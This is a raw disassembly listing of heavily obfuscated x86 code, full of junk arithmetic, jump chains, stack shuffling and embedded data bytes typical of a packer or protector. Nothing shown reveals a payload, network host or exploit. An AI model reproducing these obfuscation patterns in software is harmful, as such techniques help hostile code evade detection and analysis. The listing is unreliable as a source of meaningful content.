		mov	ecx, 46E732AEh
		add	eax, ecx
		pop	ecx
		or	eax, 3D17249Fh
		jmp	loc_5A7803
; ---------------------------------------------------------------------------


loc_5AE7AD:				; CODE XREF: sdfs____:005AD010j
		sub	ebx, 114594B8h
		jmp	loc_5AD022
; ---------------------------------------------------------------------------
		dd 4EC81h, 92E90000h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE7C3:				; CODE XREF: sdfs____:loc_5A617Cj
		sub	eax, 0CB287027h
		mov	esi, eax
		pop	eax
		add	eax, esi
		jmp	loc_5A9EC5
; ---------------------------------------------------------------------------


loc_5AE7D2:				; CODE XREF: sdfs____:005A637Aj
		neg	esi
		jnz	loc_5A78D0
		neg	esi
		jmp	loc_5A495C
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 6C1BD1BFh
		db 65h
; ---------------------------------------------------------------------------


loc_5AE7E9:				; CODE XREF: sdfs____:005AE148j
		mov	edx, [esp]
		jmp	loc_599F06
; ---------------------------------------------------------------------------


loc_5AE7F1:				; CODE XREF: sdfs____:005AA57Ej
		xor	edx, 1E013A63h
		jnp	loc_59D397
		dec	edx
		jmp	loc_5A522E
; ---------------------------------------------------------------------------


loc_5AE803:				; CODE XREF: sdfs____:005A3342j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5AABE2
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 70F2305Bh, 0F75AD389h, 0A0B951D3h, 0E98F0DCFh, 0FFFF2E38h
; ---------------------------------------------------------------------------


loc_5AE824:				; CODE XREF: sdfs____:005AED36j
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	27D0664Ah
		pop	eax
		sub	eax, 27D06648h
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_5AF0A4
; ---------------------------------------------------------------------------


loc_5AE843:				; CODE XREF: sdfs____:005AE668j
		pop	esp
		mov	[esp], edx
		push	5F3Ch
		mov	[esp], ecx
		push	727F7ABBh
		jmp	loc_5A6F69
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 22E9525Ch
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE863:				; CODE XREF: sdfs____:005AC26Cj
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5A5BB9
; ---------------------------------------------------------------------------


loc_5AE874:				; CODE XREF: sdfs____:005AF9D4j
		pop	ebp
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 17BE1E85h
		sub	ecx, 293C1BBh
		or	ecx, 6E212367h
		add	ecx, 1F040969h
		sub	ecx, 0E026BA5h
		jmp	loc_59D1D1
; ---------------------------------------------------------------------------


loc_5AE89B:				; CODE XREF: sdfs____:005AF69Dj
		add	esi, ebp
		pop	ebp
		push	5394h
		mov	[esp], edx
		mov	edx, 147768CAh
		add	esi, edx
		pop	edx
		jmp	loc_59AC59
; ---------------------------------------------------------------------------
		db 4
		dd 602E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE8BA:				; CODE XREF: sdfs____:0059BE75j
		add	esp, 4
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	[edi+1Ch], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		jmp	loc_59FB81
; ---------------------------------------------------------------------------


loc_5AE8EB:				; CODE XREF: sdfs____:0059EFB5j
		push	esi
		push	ecx
		mov	ecx, 410B0C55h
		mov	esi, 155B1599h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A960D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 9BCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AE912:				; CODE XREF: sdfs____:0059D7A6j
		push	edx
		push	56AE5DDCh
		pop	edx
		sub	edx, 42D51BCCh
		and	edx, 2F6E595Fh
		jmp	loc_5AFCF4
; ---------------------------------------------------------------------------


loc_5AE92A:				; CODE XREF: sdfs____:005ABF56j
		sub	ebx, 43927389h
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	5F10h
		mov	[esp], eax
		jmp	loc_5AEB2D
; ---------------------------------------------------------------------------
		dd 4246C81h, 6C441981h,	4247C01h, 0FF56FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE955:				; CODE XREF: sdfs____:005A08ACj
					; sdfs____:005AF624j
		mov	cx, bp
		pop	ebp
		xor	cx, 301h
		and	cx, 0F8Fh
		neg	cx
		shl	cx, 5
		push	ebx
		mov	bx, 7F49h
		push	bx
		neg	word ptr [esp]
		mov	bx, [esp]
		jmp	loc_5AFFCD
; ---------------------------------------------------------------------------


loc_5AE97E:				; CODE XREF: sdfs____:005AAD18j
		pop	esp
		jmp	loc_5A2F31
; ---------------------------------------------------------------------------
		dd 458F581h, 0EE892F0Ch, 78F6815Dh, 16E0E40h, 24348BF0h
		dd 4C481h, 0A2680000h, 89000053h, 74FF2404h, 7EE90424h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE9AF:				; CODE XREF: sdfs____:005AD735j
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		push	esp
		pop	eax
		push	7EF5h
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_5A1150
; ---------------------------------------------------------------------------


loc_5AE9D3:				; CODE XREF: sdfs____:005A286Cj
					; sdfs____:005A67BDj
		add	esp, 4
		push	3B61h
		mov	[esp], ebx
		mov	ebx, 33B06196h
		shr	ebx, 6
		push	eax
		jmp	loc_5A542A
; ---------------------------------------------------------------------------
		dd 0E95DE801h, 0FFFF4F9Eh
; ---------------------------------------------------------------------------


loc_5AE9F4:				; CODE XREF: sdfs____:0059F31Dj
		pop	esi
		jmp	loc_5B01C4
; ---------------------------------------------------------------------------
word_5AE9FA	dw 34FFh		; DATA XREF: sdfs____:00599010o
		dd 240C8B24h, 558468h, 243C8900h, 368E789h, 89000055h
		dd 0BA522434h, 4, 0FF4BADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AEA1D:				; CODE XREF: sdfs____:0059D232j
		push	edx
		push	ebx
		mov	bh, ch
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	bl, dl
		pop	edx
		mov	al, bl
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A3371
; ---------------------------------------------------------------------------
		dd 2404895Ch, 0FFC5D7E9h, 68D831FFh, 53EAh, 53242C89h
		dd 0C381E389h, 4, 4EB81h, 0FF530000h, 5B042474h, 5C24048Fh
		dd 68240C89h, 10BDh, 0BD242C89h, 758C22D5h, 0FF8077E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AEA81:				; CODE XREF: sdfs____:005ACE2Aj
		pop	ebp
		add	esi, eax
		pop	eax
		dec	esi
		xchg	ecx, esi
		dec	ecx
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		or	esi, 28ED76A0h
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	eax
		mov	eax, 121A3DD6h
		add	eax, 1D39093Ah
		jg	loc_5AF416
		or	eax, 2DE16043h
		jmp	loc_5AB059
; ---------------------------------------------------------------------------
		db 8Ah
		db 0F9h
; ---------------------------------------------------------------------------


loc_5AEAB9:				; CODE XREF: sdfs____:0059E062j
		mov	[esp], ebp
		push	esi
		jmp	loc_5A3832
; ---------------------------------------------------------------------------


loc_5AEAC2:				; CODE XREF: sdfs____:0059A8D2j
		not	edi
		shr	edi, 3
		jnp	loc_5A8843
		xor	edi, 8415E0Eh
		jz	loc_5A9CCF


loc_5AEAD9:				; CODE XREF: sdfs____:005A385Ej
		mov	bh, dh
		mov	al, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A86ED
; ---------------------------------------------------------------------------


loc_5AEAF1:				; CODE XREF: sdfs____:0059BC9Aj
		mov	[esp], edi
		push	ebp
		jmp	loc_59CC3B
; ---------------------------------------------------------------------------


loc_5AEAFA:				; CODE XREF: sdfs____:005AE63Ej
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_599656
; ---------------------------------------------------------------------------


loc_5AEB05:				; CODE XREF: sdfs____:005A3A7Cj
		add	ecx, 2DF646EFh
		shr	ecx, 5
		sub	ecx, 0B8569F87h
		jmp	loc_59CD5C
; ---------------------------------------------------------------------------


loc_5AEB19:				; CODE XREF: sdfs____:0059CF82j
		shl	esi, 6
		dec	esi
		add	esi, 8DEE6BAEh
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_5AB020
; ---------------------------------------------------------------------------


loc_5AEB2D:				; CODE XREF: sdfs____:005AE93Fj
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AEB32:				; CODE XREF: sdfs____:005AA59Ej
		mov	[esp], edi
		mov	edi, 400FD558h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, eax
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A6174
; ---------------------------------------------------------------------------
		db 68h,	6Ch, 3Eh
		dd 0CCE90000h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AEB63:				; CODE XREF: sdfs____:005A2C92j
		not	ebp
		jmp	loc_5ACEE7
; ---------------------------------------------------------------------------


loc_5AEB6A:				; CODE XREF: sdfs____:loc_59E56Dj
		add	edx, 0ED90B0CEh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4E15310Dh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 39C666E0h
		not	ebp
		inc	ebp
		push	edi
		mov	edi, 52881F72h
		or	ebp, edi
		pop	edi
		sub	ebp, 0C3F563C9h
		sub	edx, ebp
		jmp	loc_59AA1B
; ---------------------------------------------------------------------------


loc_5AEBB9:				; CODE XREF: sdfs____:0059DAA6j
					; sdfs____:005A3160j
		xor	ch, bl
		pop	ebx
		xor	ch, 61h
		jmp	loc_5A9B9A
; ---------------------------------------------------------------------------


loc_5AEBC4:				; CODE XREF: sdfs____:005AAE8Aj
		mov	ebp, 0D046E79Eh
		add	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_5A161C
; ---------------------------------------------------------------------------


loc_5AEBD7:				; CODE XREF: sdfs____:005A6730j
		xor	edx, 17654B03h
		jo	loc_5AA6EA
		add	edx, 28120D18h
		ja	loc_5A2794
		shl	edx, 3
		jnz	loc_59F2D1
		push	esi


loc_5AEBF9:				; CODE XREF: sdfs____:loc_59BAE5j
		inc	edi
		not	edi
		jmp	loc_599B07
; ---------------------------------------------------------------------------


loc_5AEC01:				; CODE XREF: sdfs____:005AFD91j
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5A7DE4
; ---------------------------------------------------------------------------


loc_5AEC1C:				; CODE XREF: sdfs____:005A6AF3j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_5A5E41
; ---------------------------------------------------------------------------


loc_5AEC34:				; CODE XREF: sdfs____:005A8A5Fj
		mov	[esp], edx
		mov	edx, 6CA5919h
		jmp	loc_5A3B6F
; ---------------------------------------------------------------------------


loc_5AEC41:				; CODE XREF: sdfs____:loc_5A5C6Aj
		not	edx
		add	edx, 73704C46h
		jmp	loc_5A9074
; ---------------------------------------------------------------------------


loc_5AEC4E:				; CODE XREF: sdfs____:005A1478j
		sub	bl, dl
		jmp	loc_5ADC28
; ---------------------------------------------------------------------------


loc_5AEC55:				; CODE XREF: sdfs____:0059B58Bj
		push	352702EBh
		pop	esi
		sub	ebx, 1CCA56E3h
		sub	ebx, 7B064ACh
		sub	ebx, esi
		sub	esp, 4
		jmp	loc_5A7ACC
; ---------------------------------------------------------------------------


loc_5AEC74:				; CODE XREF: sdfs____:005AE3A9j
		mov	ch, 9Ah
		jmp	loc_59DE9C
; ---------------------------------------------------------------------------


loc_5AEC7B:				; CODE XREF: sdfs____:005A0257j
		sub	esi, 3133018Dh
		pop	eax
		jmp	loc_59A9F4
; ---------------------------------------------------------------------------


loc_5AEC87:				; CODE XREF: sdfs____:0059D769j
		pop	eax
		add	bl, 59h
		jmp	loc_5A853A
; ---------------------------------------------------------------------------


loc_5AEC90:				; CODE XREF: sdfs____:0059F06Fj
		xchg	ebx, edx
		push	458Fh
		mov	[esp], ebx
		push	ecx
		jmp	loc_5A34EE
; ---------------------------------------------------------------------------
		dd 0E9E68956h, 0FFFF5DF7h
; ---------------------------------------------------------------------------


loc_5AECA8:				; CODE XREF: sdfs____:0059FCD8j
		pop	esi
		push	eax
		mov	eax, 45D2197Dh
		sub	esi, eax
		pop	eax
		add	esi, eax
		push	ebp
		mov	ebp, 45D2197Dh
		add	esi, ebp
		pop	ebp
		pop	eax
		push	ebx
		push	eax
		mov	eax, 2
		mov	ebx, eax
		pop	eax
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5ACAB8
; ---------------------------------------------------------------------------


loc_5AECD2:				; CODE XREF: sdfs____:005996D4j
		push	2CDCh
		jmp	loc_59A818
; ---------------------------------------------------------------------------
		dd 458E628h, 0E9F02858h, 0FFFFDA74h
; ---------------------------------------------------------------------------


loc_5AECE8:				; CODE XREF: sdfs____:005AE19Dj
		movzx	cx, ah
		push	7F98h
		jmp	loc_5A4E4C
; ---------------------------------------------------------------------------
		dw 2E04h
		dd 30E95966h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AECFF:				; CODE XREF: sdfs____:loc_5A095Cj
		add	eax, offset byte_5A0BA1
		push	ebp
		mov	ebp, 274058h
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	6484h
		jmp	loc_5B00EA
; ---------------------------------------------------------------------------


loc_5AED1F:				; CODE XREF: sdfs____:005A1506j
		or	ebx, 1D8B5011h
		jmp	loc_59A986
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 9AEDFC9Bh, 0FEA862E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AED35:				; CODE XREF: sdfs____:005A5D45j
		pop	ebx
		jmp	loc_5AE824
; ---------------------------------------------------------------------------


loc_5AED3B:				; CODE XREF: sdfs____:005AF3EEj
		shl	ecx, 2
		add	ecx, 6BA50714h
		xor	ecx, 2BB5DFB7h
		add	eax, 7A986E5Ch
		add	eax, ecx
		sub	eax, 7A986E5Ch
		jmp	loc_5A5155
; ---------------------------------------------------------------------------


loc_5AED5B:				; CODE XREF: sdfs____:005ABC92j
		and	cl, 7Eh
		push	dx
		mov	dh, cl
		neg	dh
		mov	cl, dh
		pop	dx
		jmp	loc_5A43F8
; ---------------------------------------------------------------------------


loc_5AED6D:				; CODE XREF: sdfs____:005A1CD0j
		jp	loc_5A6E61
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 66h
		jmp	loc_5AAA53
; ---------------------------------------------------------------------------


loc_5AED81:				; CODE XREF: sdfs____:005A1169j
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_59ED0B
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	711Eh
		jmp	loc_5A6783
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4EC81h, 34890000h, 24E95524h
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AEDB7:				; CODE XREF: sdfs____:005AF569j
		jmp	loc_599CAB
; ---------------------------------------------------------------------------
		dd 2BDh, 66772D00h, 0E8011C42h,	42667705h, 5902E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AEDD2:				; CODE XREF: sdfs____:005A2917j
		add	edi, 7080B1F1h
		mov	esi, edi
		pop	edi
		neg	esi
		jmp	loc_5ABC03
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0CC685024h, 0FF2F5129h, 0E9582434h, 0FFFF2090h
; ---------------------------------------------------------------------------


loc_5AEDF4:				; CODE XREF: sdfs____:0059A418j
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		jmp	loc_5A2CEC
; ---------------------------------------------------------------------------


loc_5AEE08:				; CODE XREF: sdfs____:005AB0DBj
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59CAEF
; ---------------------------------------------------------------------------


loc_5AEE1B:				; CODE XREF: sdfs____:005AFA21j
		pop	edi
		sub	esi, 4A084255h
		add	esi, ecx
		add	esi, 4A084255h
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		pop	esi
		push	esi
		xchg	ecx, [esp]
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		pop	esi
		xchg	eax, esi
		jmp	loc_59E2E4
; ---------------------------------------------------------------------------


loc_5AEE4A:				; CODE XREF: sdfs____:0059F1BEj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_59C704
; ---------------------------------------------------------------------------


loc_5AEE62:				; CODE XREF: sdfs____:005A298Cj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A02F8
; ---------------------------------------------------------------------------


loc_5AEE6D:				; CODE XREF: sdfs____:005A61AAj
		or	dl, 0EFh
		push	bx
		mov	bh, 4Dh
		xor	dl, bh
		mov	bx, [esp]
		jmp	loc_5AC956
; ---------------------------------------------------------------------------


loc_5AEE7F:				; CODE XREF: sdfs____:005A9920j
		mov	ch, 56h
		jmp	loc_59AD09
; ---------------------------------------------------------------------------


loc_5AEE86:				; CODE XREF: sdfs____:005A34A2j
		pop	esi
		push	ebx
		jmp	loc_59F50A
; ---------------------------------------------------------------------------


loc_5AEE8D:				; CODE XREF: sdfs____:0059E36Fj
					; sdfs____:005A876Cj
		sub	dl, bh
		pop	ebx
		xor	al, dl
		push	dword ptr [esp]
		jmp	loc_5AD441
; ---------------------------------------------------------------------------


loc_5AEE9A:				; CODE XREF: sdfs____:005AD75Aj
		mov	edi, 1F4C6D3Ch
		inc	edi
		add	edi, 39C5E84Fh
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 510327D8h
		push	eax
		mov	eax, 30DE0895h
		add	edx, 0B813E87h
		sub	edx, eax
		sub	edx, 0B813E87h
		pop	eax
		sub	edx, 4CD879CEh
		add	edx, eax
		add	edx, 4CD879CEh
		add	edx, 30DE0895h
		sub	edx, 510327D8h
		jmp	loc_5AF46F
; ---------------------------------------------------------------------------
		db 80h
		dd 830F8AC6h, 0FFFFD348h, 8008EEC0h, 0EC8356F6h, 240C8904h
		dd 0C3BEC088h, 0E9761E0Dh, 0FFFFEEF6h
; ---------------------------------------------------------------------------


loc_5AEF0C:				; CODE XREF: sdfs____:loc_5A6441j
		or	edx, 3F6E7796h
		ja	loc_5A882F
		push	ecx
		jmp	loc_5A754E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 2414295Fh, 0BC242C81h, 8B00D556h,	3EE92414h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AEF37:				; CODE XREF: sdfs____:005A0F7Aj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A3127
; ---------------------------------------------------------------------------
		dd 4EC835Bh, 0FF0976E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AEF5D:				; CODE XREF: sdfs____:loc_5A9079j
		add	eax, 58727A36h
		jmp	loc_59B377
; ---------------------------------------------------------------------------


loc_5AEF67:				; CODE XREF: sdfs____:0059BD38j
		shl	ecx, 5
		neg	ecx
		inc	ecx
		sub	ecx, 0AF76B78Dh
		sub	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	3C7Bh
		mov	[esp], ebx
		mov	ebx, 147768CAh
		sub	esi, ebx
		jmp	loc_5AF68E
; ---------------------------------------------------------------------------


loc_5AEF93:				; CODE XREF: sdfs____:0059A6BFj
		push	2A296F8Bh
		pop	ebp
		or	ebp, 67D8626Ah
		add	ebp, 0BD66BA69h
		mov	edx, ebp
		pop	ebp
		inc	edx
		push	ecx
		mov	ecx, 668A452Dh
		add	ecx, 3B4663Ch
		and	ecx, 28E13AB2h
		dec	ecx
		jmp	loc_5ABCFF
; ---------------------------------------------------------------------------


loc_5AEFC1:				; CODE XREF: sdfs____:005A3463j
		mov	ecx, [esp]
		push	ecx
		jmp	loc_599892
; ---------------------------------------------------------------------------


loc_5AEFCA:				; CODE XREF: sdfs____:005AF613j
		add	esi, 46AA2008h
		jmp	loc_5A7123
; ---------------------------------------------------------------------------


loc_5AEFD5:				; CODE XREF: sdfs____:005A09F8j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A9A19
; ---------------------------------------------------------------------------


loc_5AEFE8:				; CODE XREF: sdfs____:005A06D8j
		add	ecx, eax
		add	ecx, 58DF7D45h
		pop	eax
		push	edi
		mov	edi, 5E900ACh
		not	edi
		and	edi, 5D201D16h
		add	edi, 0F38202CAh
		jmp	loc_5AFFD5
; ---------------------------------------------------------------------------


loc_5AF00A:				; CODE XREF: sdfs____:005AB1CCj
		add	esi, 3BEA0402h
		add	esi, ebx
		sub	esi, 3BEA0402h
		pop	ebx
		jmp	loc_5A2CDC
; ---------------------------------------------------------------------------


loc_5AF01E:				; CODE XREF: sdfs____:005A4D73j
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 2B9h, 59CB0100h, 1CC968h, 241C8900h,	42474FFh, 0FEEB63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF051:				; CODE XREF: sdfs____:005A4070j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5ACD68
; ---------------------------------------------------------------------------


loc_5AF061:				; CODE XREF: sdfs____:0059F637j
		xchg	ecx, [esp]
		pop	esp
		and	edi, 220D2111h
		jmp	loc_59CA17
; ---------------------------------------------------------------------------


loc_5AF070:				; CODE XREF: sdfs____:0059CA3Cj
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_59DB5A
; ---------------------------------------------------------------------------


loc_5AF08C:				; CODE XREF: sdfs____:0059EBD7j
		pop	eax
		jmp	loc_5A6FFA
; ---------------------------------------------------------------------------


loc_5AF092:				; CODE XREF: sdfs____:005A7DA2j
		inc	ebx
		jle	loc_5A402E
		push	eax
		jmp	loc_5A19AE
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0CD8A2404h
; ---------------------------------------------------------------------------


loc_5AF0A4:				; CODE XREF: sdfs____:005AE83Ej
		add	esp, 4
		sub	edi, 4E510AF1h
		add	edi, ebx
		add	edi, 4E510AF1h
		mov	ebx, [esp]
		jmp	loc_5A64E7
; ---------------------------------------------------------------------------


loc_5AF0BD:				; CODE XREF: sdfs____:005AD308j
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, 6FBB06D2h
		neg	ebp
		xor	ebp, 27FD771Fh
		push	edx
		mov	edx, 1A3A1DB0h
		or	ebp, edx
		jmp	loc_59F4E1
; ---------------------------------------------------------------------------
		db 89h
		dd 0B951242Ch, 4, 8159CD89h, 0BF30D7C7h, 81EF0176h, 0BF30D7EFh
		dd 3C875D76h, 0EC835C24h, 241C8904h, 0C3815B54h, 4, 2942E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF116:				; CODE XREF: sdfs____:005A2358j
		or	eax, 1ADB523Dh
		add	eax, 5E69152Dh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7D5516F5h
		sub	ecx, 0BEEC82C7h
		jmp	loc_59E72B
; ---------------------------------------------------------------------------


loc_5AF139:				; CODE XREF: sdfs____:005AB379j
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A08D3
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 3
		dd 0C383D3F7h, 2E3C101h, 0FF52C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF155:				; CODE XREF: sdfs____:005A42FDj
		add	esp, 4
		add	esp, 4
		jmp	loc_59A99C
; ---------------------------------------------------------------------------


loc_5AF166:				; CODE XREF: sdfs____:0059EAA5j
		shl	ecx, 8
		shr	ecx, 1
		inc	ecx
		neg	ecx
		xor	ecx, 0BBE94B4h
		sub	edx, ecx
		jmp	loc_599B8E
; ---------------------------------------------------------------------------


loc_5AF17B:				; CODE XREF: sdfs____:005A735Cj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	2DFCh
		mov	[esp], edx
		jmp	loc_5A5410
; ---------------------------------------------------------------------------


loc_5AF18F:				; CODE XREF: sdfs____:005A3B03j
		sub	esp, 4
		jmp	loc_5A6326
; ---------------------------------------------------------------------------


loc_5AF19A:				; CODE XREF: sdfs____:005A45A6j
		mov	[esp], ecx
		push	ecx
		jmp	loc_5A60BC
; ---------------------------------------------------------------------------


loc_5AF1A3:				; CODE XREF: sdfs____:005A9136j
		mov	[esp], eax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AF1AB:				; CODE XREF: sdfs____:00599C72j
		sub	edx, 0C1880FC6h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	205Fh
		jmp	loc_59FE79
; ---------------------------------------------------------------------------


loc_5AF1C6:				; CODE XREF: sdfs____:005AE321j
		jo	loc_5AF369
		sub	eax, 0B355EB16h
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		add	dword ptr [esp], 3D424672h
		pop	edx
		sub	edx, 3D424672h
		pop	ecx
		sub	eax, 3325C40h
		add	eax, 4E8657FCh
		sub	eax, 485174E6h
		sub	eax, 6D382BCEh
		sub	eax, edx
		add	eax, 6D382BCEh
		add	eax, 485174E6h
		sub	eax, 4E8657FCh
		add	eax, 3325C40h
		pop	edx
		jmp	loc_5A5C02
; ---------------------------------------------------------------------------
		dd 5024148Bh, 4055854h,	83000000h, 48704C0h, 0BBE95C24h
		dd 0B9FFFFEFh, 7F053BF8h, 4D1AC181h, 0E1C16A34h, 0C1D1F705h
		dd 525705E9h, 97206CBAh, 0BC6CE97Fh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AF252:				; CODE XREF: sdfs____:0059DDEFj
		push	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_5A8C20
; ---------------------------------------------------------------------------


loc_5AF25C:				; CODE XREF: sdfs____:005ADD1Bj
		pop	ebp
		neg	eax
		xor	eax, 0BFBFFEF0h
		add	ebx, eax
		jmp	loc_5993E9
; ---------------------------------------------------------------------------


loc_5AF26B:				; CODE XREF: sdfs____:005A3026j
		push	dword ptr [esp]
		jmp	loc_59C809
; ---------------------------------------------------------------------------


loc_5AF273:				; CODE XREF: sdfs____:loc_5AAEACj
		shl	ebp, 6
		jp	loc_59F2E9
		shl	ebp, 5
		add	ebp, 0D2459004h
		jmp	loc_5A518C
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 0FFFEC012h
dword_5AF294	dd 24048B66h, 36D468h, 24348900h, 24348B54h, 0FF31CDE9h
					; DATA XREF: sdfs____:00599080o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF2A9:				; CODE XREF: sdfs____:005A0A9Dj
		push	16A0h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_599CA2
; ---------------------------------------------------------------------------


loc_5AF2C1:				; CODE XREF: sdfs____:005AF66Ej
		sub	eax, ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5AAB0F
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 24348704h, 0FF4B0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF2D9:				; CODE XREF: sdfs____:loc_59A33Bj
					; sdfs____:0059B311j
		push	ebx
		jmp	loc_5A22B9
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 0FFFC15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF2ED:				; CODE XREF: sdfs____:005ACD55j
		push	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A2407
; ---------------------------------------------------------------------------
dword_5AF300	dd 89243489h, 4C681E6h,	83000000h, 348704C6h, 88505C24h
					; DATA XREF: sdfs____:00597A18o
		dd 0E9C188F8h, 0FFFF9960h, 0E804E0BAh, 0FB24BB6Eh, 0D3019117h
		dd 0DBEA815Ah, 293D0437h, 0DBC281DAh, 0E93D0437h, 0FFFEA9ECh
		dd 0B850E289h, 39C01E21h, 66DFBF57h, 0E7C107E2h, 91E78102h
